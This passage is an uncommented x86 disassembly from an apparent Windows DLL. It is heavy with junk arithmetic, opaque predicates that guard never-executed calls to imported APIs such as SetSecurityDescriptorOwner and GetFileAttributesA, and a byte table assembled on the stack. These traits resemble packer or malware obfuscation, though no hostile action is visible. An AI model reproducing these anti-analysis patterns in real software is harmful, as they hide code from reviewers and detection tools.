cmp esi, dword [eax]
jge 0x1001bfe8
mov dword [ebp - 0x994], 1
jmp 0x1001bfef
and dword [ebp - 0x994], 0
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
cmp dword [eax], 0
jne 0x1001c01a
mov dword [ebp - 0x56c], 1
jmp 0x1001c021
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x56c]
sub eax, dword [ebp - 0x268]
cmp eax, dword [ebp - 0x268]
jne 0x1001c041
mov dword [ebp - 0x8f4], 1
jmp 0x1001c048
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x8f4], eax
jne 0x1001c062
mov dword [ebp - 0x574], 1
jmp 0x1001c069
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x754], eax
jg 0x1001c0a1
push 0
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001c0a1
mov dword [ebp - 0x57c], 1
jmp 0x1001c0a8
and dword [ebp - 0x57c], 0
push 1
lea ecx, [ebp - 0x1e0]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x57c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x844]
inc eax
mov dword [ebp - 0x844], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xdf0]
call fcn.1000c0b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e0]
call fcn.1000c0b1
jmp 0x1001b830
mov dword [ebp - 0x304], 0
jmp 0x1001c106
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 2
jge 0x1001c122
mov eax, dword [ebp - 0x304]
mov dword [ebp + eax*4 - 0xd88], 1
jmp 0x1001c0f9
mov byte [ebp - 0xd3], 0
movzx eax, byte [ebp - 0xd3]
test eax, eax
je 0x1001c140
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xd88], 1
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1a4]
movzx eax, byte [ebp + eax - 0x1ca]
movsx eax, byte [ebp + eax - 0x964]
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x1c7]
and ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1a4]
movzx eax, byte [ebp + eax - 0x1ca]
movsx eax, byte [ebp + eax - 0x964]
mov edx, dword [ebp - 0x1c]
movzx edx, byte [ebp + edx - 0x1c7]
and edx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1a4]
movzx eax, byte [ebp + eax - 0x1ca]
movsx eax, byte [ebp + eax - 0x964]
mov esi, dword [ebp - 0x1c]
movzx ebx, byte [ebp + esi - 0x1c7]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x1c8]
mov byte [ebp + eax - 0x964], bl
mov dword [ebp - 0x30c], 0x5c68ec0a
mov dword [ebp - 0x270], 0
jmp 0x1001c1fc
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 2
jge 0x1001c218
mov eax, dword [ebp - 0x270]
mov dword [ebp + eax*4 - 0xd60], 0x86cce57b
jmp 0x1001c1ef
mov dword [ebp - 0x30c], 0xfffffff7
jmp 0x1001c231
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0xd
jg 0x1001c27b
mov dword [ebp - 0x174], 1
mov dword [ebp - 0x174], 0
jmp 0x1001c25d
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 2
jge 0x1001c279
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0xd60], 0xc7a00f47
jmp 0x1001c250
jmp 0x1001c224
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x1001c297
push 0
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
and dword [ebp - 0x1a4], 0
jmp 0x1001b830
push 4
lea ecx, [ebp - 0x430]
call fcn.1000c02f
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x50], 0
push 1
lea ecx, [ebp - 0xcb8]
call fcn.1000c02f
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x70], 0
jmp 0x1001c2df
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x1001c2fb
push dword [ebp - 0x70]
lea ecx, [ebp - 0x430]
call fcn.1000c0cd
mov dword [eax], 1
jmp 0x1001c2d8
mov dword [ebp - 0x70], 0
jmp 0x1001c30b
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1001c327
push dword [ebp - 0x70]
lea ecx, [ebp - 0xcb8]
call fcn.1000c0cd
mov dword [eax], 5
jmp 0x1001c304
mov dword [ebp - 0x50], 3
jmp 0x1001c337
mov eax, dword [ebp - 0x50]
dec eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jl 0x1001c4ea
mov dword [ebp - 0x99c], 0x549ec71
mov dword [ebp - 0x278], 0
jmp 0x1001c364
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 2
jge 0x1001c380
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0xd94], 1
jmp 0x1001c357
push dword [ebp - 0x50]
lea ecx, [ebp - 0x430]
call fcn.1000c0cd
push dword [ebp - 0x50]
lea ecx, [ebp - 0x430]
call fcn.1000c0cd
push dword [ebp - 0x50]
lea ecx, [ebp - 0x430]
call fcn.1000c0cd
mov esi, eax
push 3
lea ecx, [ebp - 0x430]
call fcn.1000c0cd
mov eax, dword [eax]
mov ecx, dword [esi]
lea esi, [eax + ecx + 0x57e7]
push 3
lea ecx, [ebp - 0x430]
call fcn.1000c0cd
cmp esi, dword [eax]
je 0x1001c3e1
mov dword [ebp - 0x584], 1
jmp 0x1001c3e8
and dword [ebp - 0x584], 0
push 2
lea ecx, [ebp - 0x430]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x584]
cmp ecx, dword [eax]
je 0x1001c40b
mov dword [ebp - 0x75c], 1
jmp 0x1001c412
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x75c], eax
jne 0x1001c429
mov dword [ebp - 0x58c], 1
jmp 0x1001c430
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x58c]
add eax, 0x1b975f84
mov ecx, dword [ebp - 0x50]
sub ecx, eax
mov dword [ebp - 0x8bc], ecx
push 0
lea ecx, [ebp - 0xcb8]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x8bc]
mov dword [eax], ecx
cmp dword [ebp - 0x8bc], 0x40eb
jl 0x1001c473
mov dword [ebp - 0x594], 1
jmp 0x1001c47a
and dword [ebp - 0x594], 0
push dword [ebp - 0x50]
lea ecx, [ebp - 0x430]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x594]
cmp ecx, dword [eax]
jle 0x1001c49e
mov dword [ebp - 0x764], 1
jmp 0x1001c4a5
and dword [ebp - 0x764], 0
imul eax, dword [ebp - 0x764], 3
cmp eax, 0xc0d3
jl 0x1001c4bf
mov dword [ebp - 0x3d0], 1
jmp 0x1001c4c6
and dword [ebp - 0x3d0], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp + eax - 0xd94], ecx
mov eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x99c], eax
jmp 0x1001c330
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xcb8]
call fcn.1000c0b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x430]
call fcn.1000c0b1
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x964], 0
lea eax, [ebp - 0x964]
push eax
lea ecx, [ebp - 0xfac]
call fcn.10022459
mov dword [ebp - 0xaac], eax
mov eax, dword [ebp - 0xaac]
mov dword [ebp - 0x9a4], eax
mov dword [ebp - 4], 0x15
mov edx, dword [ebp - 0x6b4]
mov ecx, dword [ebp - 0x9a4]
call fcn.1000e619
mov dword [0x1060c918], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfac]
call fcn.10022488
and dword [ebp - 0x314], 0
jmp 0x1001c57c
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0xe
jae 0x1001c705
mov dword [ebp - 0x11c], 0xf6af1124
mov dword [ebp - 0x5a4], 1
mov dword [ebp - 0x59c], 0xb6bc3ec3
mov dword [ebp - 0xb28], 9
mov dword [ebp - 0x5ac], 0xec93
mov dword [ebp - 0x11c], 0x16
jmp 0x1001c5d4
mov eax, dword [ebp - 0x11c]
dec eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 7
jge 0x1001c6f2
mov dword [ebp - 0x17c], 0x3989226c
mov dword [ebp - 0xab4], 0xf92e6c0b
mov eax, dword [ebp - 0xb28]
add eax, 8
mov dword [ebp - 0x9ac], 1
jmp 0x1001c611
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0xe6c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0xe44], eax
cmp dword [ebp - 0x11c], 0xffffffff
ja 0x1001c64a
mov dword [ebp - 0x84c], 1
jmp 0x1001c651
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x59c], eax
mov eax, dword [ebp - 0x59c]
add eax, dword [ebp - 0x84c]
cmp eax, dword [ebp - 0x17c]
mov dword [ebp - 0x5a4], 1
mov eax, dword [ebp - 0x5a4]
add eax, 0x6a47
cmp eax, dword [ebp - 0x17c]
jg 0x1001c698
mov dword [ebp - 0x76c], 1
jmp 0x1001c69f
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x76c], eax
jl 0x1001c6b9
mov dword [ebp - 0x930], 1
jmp 0x1001c6c0
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x5ac]
imul eax, dword [ebp - 0x930]
mov dword [ebp - 0xab4], eax
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x1001c6ed
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x1001c5c7
mov eax, dword [ebp - 0x314]
mov byte [ebp + eax - 0x964], 0
jmp 0x1001c56f
mov dword [ebp - 0x19c], 1
mov dword [ebp - 0x144], 0x3c89
mov dword [ebp - 0xa18], 0x20b963ab
mov dword [ebp - 0xa20], 0xffffffff
mov dword [ebp - 0xdb4], 0x32afcb06
mov dword [ebp - 0x8c4], 0xffffffff
mov dword [ebp - 0xcf4], 0x5dc8
mov dword [ebp - 0xcf0], 0x5dc8
mov dword [ebp - 0xcec], 0x5dc8
mov dword [ebp - 0xce8], 0x5dc8
mov dword [ebp - 0x280], 0
jmp 0x1001c782
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 4
jge 0x1001c79e
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0xf94], 0
jmp 0x1001c775
mov eax, dword [ebp - 0x144]
sub eax, dword [ebp - 0x19c]
cmp eax, 0xe32cf415
jbe 0x1001c7bd
mov dword [ebp - 0x5b4], 1
jmp 0x1001c7c4
and dword [ebp - 0x5b4], 0
cmp dword [ebp - 0x5b4], 0xe6f7fbf2
jne 0x1001c7dc
mov dword [ebp - 0x9b4], 1
jmp 0x1001c7e3
and dword [ebp - 0x9b4], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xdbc], eax
cmp dword [ebp - 0x19c], 1
jg 0x1001c810
mov dword [ebp - 0x774], 1
jmp 0x1001c817
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0xa18], eax
mov eax, dword [ebp - 0x8c4]
sub eax, 4
jne 0x1001c840
cmp dword [ebp - 0x19c], 0
jne 0x1001c840
and dword [ebp - 0x5bc], 0
jmp 0x1001c84a
mov dword [ebp - 0x5bc], 1
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x5bc], eax
jge 0x1001c864
mov dword [ebp - 0x9bc], 1
jmp 0x1001c86b
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xe4c], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0xa20]
mov dword [ebp - 0x854], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x854]
mov dword [ebp + eax - 0xcf4], ecx
cmp dword [ebp - 0x854], 9
je 0x1001c8b6
mov dword [ebp - 0x5c4], 1
jmp 0x1001c8bd
and dword [ebp - 0x5c4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x19c]
add ecx, dword [ebp - 0x5c4]
add ecx, dword [ebp + eax - 0xf94]
cmp ecx, dword [ebp - 0x144]
jle 0x1001c8ea
mov dword [ebp - 0x77c], 1
jmp 0x1001c8f1
and dword [ebp - 0x77c], 0
cmp dword [ebp - 0x77c], 0
jl 0x1001c906
mov dword [ebp - 0x5cc], 1
jmp 0x1001c90d
and dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x5cc]
add eax, 0x2b46fac5
mov dword [ebp - 0x8c4], eax
mov dword [ebp - 0x9c4], 0x2455
cmp dword [ebp - 0x9c4], 0x8d2
jge 0x1001ccbc
mov dword [ebp - 0x32c], 0x4d
lea eax, [ebp - 0x48]
push eax
push 0x100078f8
call fcn.1004bba6
pop ecx
pop ecx
and dword [ebp - 0xa28], 0
lea eax, [ebp - 0xa28]
push eax
mov eax, dword [ebp - 0x48]
dec eax
push eax
lea ecx, [ebp - 0xcac]
call fcn.100225e1
mov dword [ebp - 4], 0x16
and dword [ebp - 0x31c], 0
jmp 0x1001c98d
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x48]
dec eax
cmp dword [ebp - 0x31c], eax
jge 0x1001c9b9
push dword [ebp - 0x31c]
lea ecx, [ebp - 0xcac]
call fcn.1000c0cd
push eax
push 0x100078f4
call fcn.1004bba6
pop ecx
pop ecx
jmp 0x1001c980
and dword [ebp - 0x9cc], 0
lea eax, [ebp - 0x9cc]
push eax
mov eax, dword [ebp - 0x48]
dec eax
push eax
lea ecx, [ebp - 0xc94]
call fcn.100225e1
mov byte [ebp - 4], 0x17
and dword [ebp - 0x288], 0
jmp 0x1001c9f1
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
mov eax, dword [ebp - 0x48]
dec eax
cmp dword [ebp - 0x288], eax
jge 0x1001ca1d
push dword [ebp - 0x288]
lea ecx, [ebp - 0xc94]
call fcn.1000c0cd
push eax
push 0x100078f4
call fcn.1004bba6
pop ecx
pop ecx
jmp 0x1001c9e4
and dword [ebp - 0xa30], 0
lea eax, [ebp - 0xa30]
push eax
push dword [ebp - 0x48]
lea ecx, [ebp - 0xc70]
call fcn.100225e1
mov byte [ebp - 4], 0x18
and dword [ebp - 0x324], 0
jmp 0x1001ca53
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0x324]
cmp eax, dword [ebp - 0x48]
jge 0x1001ca7e
push dword [ebp - 0x324]
lea ecx, [ebp - 0xc70]
call fcn.1000c0cd
push eax
push 0x100078f4
call fcn.1004bba6
pop ecx
pop ecx
jmp 0x1001ca46
and dword [ebp - 0x9d4], 0
lea eax, [ebp - 0x9d4]
push eax
push dword [ebp - 0x48]
lea ecx, [ebp - 0xb90]
call fcn.100225e1
mov byte [ebp - 4], 0x19
and dword [ebp - 0xa38], 0
lea eax, [ebp - 0xa38]
push eax
push dword [ebp - 0x48]
lea ecx, [ebp - 0xbb4]
call fcn.100225e1
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x124], 1
jmp 0x1001cad7
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0x48]
jge 0x1001cb23
mov eax, dword [ebp - 0x124]
dec eax
push eax
lea ecx, [ebp - 0xcac]
call fcn.1000c0cd
mov esi, eax
mov eax, dword [ebp - 0x124]
dec eax
push eax
lea ecx, [ebp - 0xb90]
call fcn.1000c0cd
mov edi, dword [eax]
add edi, dword [esi]
push dword [ebp - 0x124]
lea ecx, [ebp - 0xb90]
call fcn.1000c0cd
mov dword [eax], edi
jmp 0x1001caca
mov eax, dword [ebp - 0x48]
dec eax
dec eax
mov dword [ebp - 0x13c], eax
jmp 0x1001cb3d
mov eax, dword [ebp - 0x13c]
dec eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jl 0x1001cb85
push dword [ebp - 0x13c]
lea ecx, [ebp - 0xc94]
call fcn.1000c0cd
mov esi, eax
mov eax, dword [ebp - 0x13c]
inc eax
push eax
lea ecx, [ebp - 0xbb4]
call fcn.1000c0cd
mov edi, dword [eax]
add edi, dword [esi]
push dword [ebp - 0x13c]
lea ecx, [ebp - 0xbb4]
call fcn.1000c0cd
mov dword [eax], edi
jmp 0x1001cb30
mov eax, dword [ebp - 0x32c]
imul eax, dword [ebp - 0x32c]
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 0x32c]
imul eax, dword [ebp - 0x32c]
mov dword [ebp - 0x320], eax
and dword [ebp - 0x12c], 0
jmp 0x1001cbc1
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0x48]
jge 0x1001cc58
push dword [ebp - 0x12c]
lea ecx, [ebp - 0xc70]
call fcn.1000c0cd
mov esi, eax
push dword [ebp - 0x12c]
lea ecx, [ebp - 0xb90]
call fcn.1000c0cd
mov edi, dword [eax]
add edi, dword [esi]
push dword [ebp - 0x12c]
lea ecx, [ebp - 0xbb4]
call fcn.1000c0cd
add edi, dword [eax]
mov dword [ebp - 0x2f0], edi
mov eax, dword [ebp - 0x2f0]
cmp eax, dword [ebp - 0x298]
jg 0x1001cc39
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x298], eax
jmp 0x1001cc53
mov eax, dword [ebp - 0x2f0]
cmp eax, dword [ebp - 0x320]
jge 0x1001cc53
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x320], eax
jmp 0x1001cbb4
mov eax, dword [ebp - 0x298]
add eax, dword [ebp - 0x320]
push eax
push 0x100078f8
call fcn.1004bc81
pop ecx
pop ecx
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0xbb4]
call fcn.1000c0b1
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xb90]
call fcn.1000c0b1
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xc70]
call fcn.1000c0b1
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xc94]
call fcn.1000c0b1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcac]
call fcn.1000c0b1
mov dword [ebp - 0x2a0], 0
jmp 0x1001ccd5
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 2
jge 0x1001ccf1
mov eax, dword [ebp - 0x2a0]
mov dword [ebp + eax*4 - 0xd6c], 1
jmp 0x1001ccc8
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x1001cd0f
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xd6c], 1
mov dword [ebp - 0x9dc], 0
mov dword [ebp - 0xe74], 1
mov dword [ebp - 0xdd4], 0x398070a
mov dword [ebp - 0x14c], 0xffffffff
mov dword [ebp - 0x2f8], 0
jmp 0x1001cd61
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 1
jge 0x1001cd7d
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0xa40], 0
jmp 0x1001cd54
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x14c], 2
jmp 0x1001cda3
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xf
jl 0x1001ce81
mov dword [ebp - 0x5dc], 0
mov dword [ebp - 0x784], 0xefcdf11b
mov dword [ebp - 0x9e4], 0xfffffff6
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0xe54], eax
cmp dword [ebp - 0x5dc], 1
jne 0x1001cdf4
or eax, 0xffffffff
je 0x1001cdf4
mov dword [ebp - 0x5d4], 1
jmp 0x1001cdfb
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x784], eax
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0x784], 0
cmp ecx, dword [ebp + eax - 0xa40]
jl 0x1001ce29
mov dword [ebp - 0x85c], 1
jmp 0x1001ce30
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x5dc]
cmp dword [ebp - 0x85c], eax
jge 0x1001ce4a
mov dword [ebp - 0x5e4], 1
jmp 0x1001ce51
and dword [ebp - 0x5e4], 0
cmp dword [ebp - 0x5e4], 0x5300
jl 0x1001ce69
mov dword [ebp - 0x78c], 1
jmp 0x1001ce70
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x78c]
mov dword [ebp - 0x9e4], eax
jmp 0x1001cd96
mov byte [ebp - 0x200], 0xb
mov byte [ebp - 0x1ff], 0xac
mov byte [ebp - 0x1fe], 0
mov byte [ebp - 0x1fd], 0x30
mov byte [ebp - 0x1fc], 2
mov byte [ebp - 0x1fb], 0x26
mov byte [ebp - 0x1fa], 4
mov byte [ebp - 0x1f9], 0x11
mov byte [ebp - 0x1f8], 5
mov byte [ebp - 0x1f7], 0x11
mov byte [ebp - 0x1f6], 8
mov byte [ebp - 0x1f5], 0xa
mov byte [ebp - 0x1f4], 6
mov byte [ebp - 0x1f3], 0x3f
mov byte [ebp - 0x1f2], 0xa
mov byte [ebp - 0x1f1], 0x35
mov byte [ebp - 0x1f0], 3
mov byte [ebp - 0x1ef], 4
mov byte [ebp - 0x1ee], 9
mov byte [ebp - 0x1ed], 2
mov byte [ebp - 0x1ec], 0xc
mov byte [ebp - 0x1eb], 0x10
mov byte [ebp - 0x1ea], 7
mov byte [ebp - 0x1e9], 1
mov byte [ebp - 0x1e8], 1
mov byte [ebp - 0x1e7], 0x74
mov byte [ebp - 0x1e6], 0xd
mov byte [ebp - 0x1e5], 0x25
mov byte [ebp - 0x1e4], 1
mov byte [ebp - 0x1e3], 0x25
mov dword [ebp - 0x184], 4
mov dword [ebp - 0x5ec], 0x3a4df6f9
mov dword [ebp - 0xa48], 1
push 1
lea ecx, [ebp - 0xcc4]
call fcn.1000c02f
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x78], 0
jmp 0x1001cf95
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x1001cfab
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xef4], 1
jmp 0x1001cf8e
mov dword [ebp - 0x78], 0
jmp 0x1001cfbb
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x1001cfd7
push dword [ebp - 0x78]
lea ecx, [ebp - 0xcc4]
call fcn.1000c0cd
mov dword [eax], 0xfffffff6
jmp 0x1001cfb4
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x184]
jge 0x1001cff1
mov dword [ebp - 0x864], 1
jmp 0x1001cff8
and dword [ebp - 0x864], 0
cmp dword [ebp - 0x184], 0
je 0x1001d023
mov dword [ebp - 0x5ec], 0x6c61
cmp dword [ebp - 0x5ec], 0x2ea2
jl 0x1001d023
mov dword [ebp - 0x8fc], 1
jmp 0x1001d02a
and dword [ebp - 0x8fc], 0
imul eax, dword [ebp - 0x8fc], 0
cmp eax, 0xc32b96ce
jae 0x1001d044
mov dword [ebp - 0x5f4], 1
jmp 0x1001d04b
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x184]
cmp dword [ebp - 0x5f4], eax
jne 0x1001d065
mov dword [ebp - 0x794], 1
jmp 0x1001d06c
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x794]
je 0x1001d086
mov dword [ebp - 0x5fc], 1
jmp 0x1001d08d
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0xa48]
cmp dword [ebp - 0x5fc], eax
jl 0x1001d0a7
mov dword [ebp - 0x364], 1
jmp 0x1001d0ae
and dword [ebp - 0x364], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x364]
mov dword [ebp + eax - 0xef4], ecx
imul eax, dword [ebp - 0x364], 0x1362
cmp dword [ebp - 0x864], eax
jne 0x1001d0df
mov dword [ebp - 0x604], 1
jmp 0x1001d0e6
and dword [ebp - 0x604], 0
mov esi, dword [ebp - 0x604]
sub esi, 7
push 0
lea ecx, [ebp - 0xcc4]
call fcn.1000c0cd
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcc4]
call fcn.1000c0b1
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x200]
and eax, 0xdf
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x200]
or ecx, 0xdf
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x200]
mov byte [ebp + eax - 0xb4c], cl
mov dword [ebp - 0x24], 2
and dword [ebp - 0x328], 0
jmp 0x1001d163
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x1e
jae 0x1001d881
push 3
lea ecx, [ebp - 0x3e8]
call fcn.1000c02f
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x338], 0x3f17e2f9
mov dword [ebp - 0x36c], 0x39ecf4a4
mov dword [ebp - 0xde4], 0
mov dword [ebp - 0xe78], 0xa32a17d0
mov dword [ebp - 0x3c4], 0
mov dword [ebp - 0x9f4], 0xffffffff
mov dword [ebp - 0x2a8], 0
jmp 0x1001d1d6
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 3
jge 0x1001d1f8
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
mov dword [eax], 1
jmp 0x1001d1c9
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
mov esi, eax
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
mov eax, dword [eax]
cmp eax, dword [esi]
jle 0x1001d226
mov dword [ebp - 0x61c], 1
jmp 0x1001d22d
and dword [ebp - 0x61c], 0
cmp dword [ebp - 0x36c], 0
je 0x1001d27d
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0xcfc], eax
mov esi, dword [ebp - 0x36c]
mov edi, dword [ebp - 0x338]
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
mov eax, dword [eax]
sub eax, edi
imul eax, esi
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0
je 0x1001d27d
mov dword [ebp - 0x79c], 1
jmp 0x1001d284
and dword [ebp - 0x79c], 0
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x79c]
cmp ecx, dword [eax]
jle 0x1001d2a7
mov dword [ebp - 0x60c], 1
jmp 0x1001d2ae
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x9ec], eax
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0xa50], eax
mov eax, dword [ebp - 0x3c4]
dec eax
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0x9ec]
cmp eax, dword [ebp - 0xa50]
jne 0x1001d2ed
mov dword [ebp - 0x8cc], 1
jmp 0x1001d2f4
and dword [ebp - 0x8cc], 0
cmp dword [ebp - 0x8cc], 0x780f885b
jle 0x1001d30c
mov dword [ebp - 0x614], 1
jmp 0x1001d313
and dword [ebp - 0x614], 0
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
mov eax, dword [eax]
sub eax, dword [ebp - 0x614]
je 0x1001d33f
mov eax, 0x738f5859
test eax, eax
je 0x1001d33f
mov dword [ebp - 0x7a4], 1
jmp 0x1001d346
and dword [ebp - 0x7a4], 0
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
mov esi, dword [ebp - 0x7a4]
imul esi, dword [eax]
push 2
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
